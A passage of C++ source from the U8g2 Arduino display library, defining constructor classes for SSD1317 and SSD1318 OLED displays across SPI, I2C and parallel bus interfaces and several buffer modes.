U8G2_SSD1317_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_6800 : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_8080 : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_6800 : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_8080 : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_96x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1317_96X96_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1317_96X96_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1317_96X96_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1317_96X96_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1317_96X96_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1317_96X96_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1317_96X96_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1317_i2c_96x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_6800 : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_1_8080 : public U8G2 {\n  public: U8G2_SSD1318_128X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_6800 : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_1_8080 : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_6800 : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_2_8080 : public U8G2 {\n  public: U8G2_SSD1318_128X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_6800 : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_2_8080 : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_xcp_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_6800 : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_F_8080 : public U8G2 {\n  public: U8G2_SSD1318_128X96_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1318_128x96_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1318_128X96_XCP_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1318_128X96_XCP_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, 